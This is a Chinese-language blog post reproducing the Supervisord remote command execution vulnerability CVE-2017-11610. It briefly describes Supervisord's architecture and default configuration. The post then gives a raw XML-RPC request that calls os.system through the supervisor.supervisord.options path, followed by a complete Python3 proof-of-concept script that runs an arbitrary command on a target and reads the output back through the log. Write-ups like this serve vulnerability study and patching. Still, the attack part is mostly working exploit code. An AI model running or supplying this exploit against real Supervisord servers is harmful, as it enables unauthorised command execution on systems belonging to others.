Supervisord 远程命令执行漏洞(CVE-2017-11610)


Supervisord 远程命令执行漏洞(CVE-2017-11610)

Supervisord

Supervisord 是一款 Python 开发,用于管理后台应用(服务)的工具,其角色类似于 Linux 自带的 Systemd。

比 Systemd 有几个特点:

  • 配置比较简单
  • 一个简单的第三方应用,与系统没有耦合
  • 提供 HTTP API,支持远程操作

Supervisord 的架构分为 ServerClientServer 以一个服务的形式,跑在系统后台,而 Client 是一个命令行工具,其实就是根据用户的要求,调用 Server 提供的 API,执行一些工作。

查看 Supervisord 的配置文件可知,默认情况下,Server 端监听在 unix 套接字 unix:///tmp/supervisor.sock 上,而 Client 配置的 serverurl 也是这个地址:

[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

所以,Client 端去连接配置文件中的 serverurl 的地址,并与其使用RPC协议(基于HTTP协议)通信。

漏洞复现

直接执行任意命令:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

直接回显的 POC

将命令执行的结果写入 log 文件中,再调用 Supervisord 自带的 readLog 方法读取 log 文件,将结果读出来。

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用 Python3 执行并获取结果:./poc.py "http://your-ip:9001/RPC2" "command"


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错
2019-03-03
下一篇 
ThinkPHP 2.x 任意代码执行漏洞 ThinkPHP 2.x 任意代码执行漏洞
ThinkPHP 2.x 任意代码执行漏洞ThinkPHP 2.x 版本中,使用 preg_replace的/e 模式匹配路由: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e
2019-03-02
  目录